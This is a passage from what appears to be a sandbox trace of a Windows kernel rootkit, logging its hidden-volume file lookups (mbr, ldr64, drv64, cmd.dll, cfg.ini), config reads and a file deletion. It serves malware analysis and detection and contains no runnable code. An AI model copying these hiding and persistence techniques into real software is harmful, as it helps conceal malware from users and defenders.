Event=0xfffff880028b22c0) [0126.053] IdePortDispatch () returned 0x103 [0126.053] KeWaitForMutexObject () returned 0x0 [0126.053] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.053] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.053] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.053] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.053] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.053] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.053] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.053] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.053] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.053] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.053] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.053] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.053] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.053] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.053] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.053] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.053] KeLeaveCriticalRegion () [0126.053] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.053] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.053] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.053] KeEnterCriticalRegion () [0126.053] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.053] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.053] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.053] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.053] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.053] IdePortDispatch () returned 0x103 [0126.053] KeWaitForMutexObject () returned 0x0 [0126.054] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.054] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.054] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.054] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.054] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.054] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.054] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.054] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.054] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.054] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.054] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.054] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.054] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.054] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.054] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.054] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.054] KeLeaveCriticalRegion () [0126.054] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.054] ReleaseMutex (hMutex=0x100) returned 1 [0126.054] Sleep (dwMilliseconds=0x2bf20) [0126.059] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e55df30, dwHighDateTime=0x1d24fa4)) [0126.059] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.059] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.065] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.065] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.065] KeEnterCriticalRegion () [0126.065] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.065] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.065] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.065] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.065] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.065] IdePortDispatch () returned 0x103 [0126.065] KeWaitForMutexObject () returned 0x0 [0126.065] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.065] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.065] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.065] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.065] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.065] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7530 [0126.065] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.065] KeLeaveCriticalRegion () [0126.065] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.065] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.065] KeEnterCriticalRegion () [0126.065] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.065] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.065] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.065] KeLeaveCriticalRegion () [0126.065] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.065] KeEnterCriticalRegion () [0126.065] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.065] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.065] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.065] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.065] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.065] IdePortDispatch () returned 0x103 [0126.066] KeWaitForMutexObject () returned 0x0 [0126.066] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.066] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.066] KeLeaveCriticalRegion () [0126.066] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.066] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.066] KeEnterCriticalRegion () [0126.066] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.066] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dfa000 [0126.066] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.066] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.066] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.066] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.066] IdePortDispatch () returned 0x103 [0126.066] KeWaitForMutexObject () returned 0x0 [0126.066] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.066] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.066] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.066] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.066] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.066] IdePortDispatch () returned 0x103 [0126.066] KeWaitForMutexObject () returned 0x0 [0126.066] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.066] KeLeaveCriticalRegion () [0126.067] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.067] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.067] KeEnterCriticalRegion () [0126.067] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.067] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.067] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.067] KeLeaveCriticalRegion () [0126.067] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.067] KeEnterCriticalRegion () [0126.067] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.067] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0126.067] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac7240, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.067] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.067] KeLeaveCriticalRegion () [0126.067] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.067] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.067] KeEnterCriticalRegion () [0126.067] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.067] ExFreePoolWithTag (P=0xfffffa800c4f7530, Tag=0x0) [0126.067] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.067] KeLeaveCriticalRegion () [0126.067] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.067] ReleaseMutex (hMutex=0xf0) returned 1 [0126.067] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.070] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.070] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.070] KeEnterCriticalRegion () [0126.070] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.070] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.070] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.070] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.070] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.070] IdePortDispatch () returned 0x103 [0126.071] KeWaitForMutexObject () returned 0x0 [0126.071] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.071] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.071] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.071] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.071] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.071] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8008a69640 [0126.071] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.071] KeLeaveCriticalRegion () [0126.071] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.071] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.071] KeEnterCriticalRegion () [0126.071] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.071] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.071] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.071] KeLeaveCriticalRegion () [0126.071] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.071] KeEnterCriticalRegion () [0126.071] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.071] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.071] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.071] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.071] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.071] IdePortDispatch () returned 0x103 [0126.071] KeWaitForMutexObject () returned 0x0 [0126.071] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.071] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.071] KeLeaveCriticalRegion () [0126.071] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.072] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.072] KeEnterCriticalRegion () [0126.072] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.072] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dfc000 [0126.072] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.072] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.072] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.072] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.072] IdePortDispatch () returned 0x103 [0126.072] KeWaitForMutexObject () returned 0x0 [0126.072] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.072] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.072] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.072] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.072] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.072] IdePortDispatch () returned 0x103 [0126.072] KeWaitForMutexObject () returned 0x0 [0126.072] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.072] KeLeaveCriticalRegion () [0126.072] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.073] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.073] KeEnterCriticalRegion () [0126.073] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.073] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.073] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.073] KeLeaveCriticalRegion () [0126.073] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.073] KeEnterCriticalRegion () [0126.073] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.073] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0126.073] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.073] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.073] KeLeaveCriticalRegion () [0126.073] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.073] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.073] KeEnterCriticalRegion () [0126.073] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.073] ExFreePoolWithTag (P=0xfffffa8008a69640, Tag=0x0) [0126.073] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.073] KeLeaveCriticalRegion () [0126.073] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.073] ReleaseMutex (hMutex=0xf0) returned 1 [0126.073] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.073] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.073] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.073] KeEnterCriticalRegion () [0126.073] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.073] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.074] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.074] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.074] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.074] IdePortDispatch () returned 0x103 [0126.074] KeWaitForMutexObject () returned 0x0 [0126.074] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.074] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.074] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.074] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.074] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.074] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7530 [0126.074] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.074] KeLeaveCriticalRegion () [0126.074] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.074] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.074] KeEnterCriticalRegion () [0126.074] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.074] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.074] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.074] KeLeaveCriticalRegion () [0126.074] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.074] KeEnterCriticalRegion () [0126.074] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.074] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.074] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.074] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.074] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.074] IdePortDispatch () returned 0x103 [0126.074] KeWaitForMutexObject () returned 0x0 [0126.074] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.074] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.075] KeLeaveCriticalRegion () [0126.075] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.075] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.075] KeEnterCriticalRegion () [0126.075] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.075] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dfd000 [0126.075] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.075] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.075] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.075] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.075] IdePortDispatch () returned 0x103 [0126.075] KeWaitForMutexObject () returned 0x0 [0126.075] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.075] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.075] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.075] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.075] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.075] IdePortDispatch () returned 0x103 [0126.075] KeWaitForMutexObject () returned 0x0 [0126.075] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.075] KeLeaveCriticalRegion () [0126.075] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.076] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 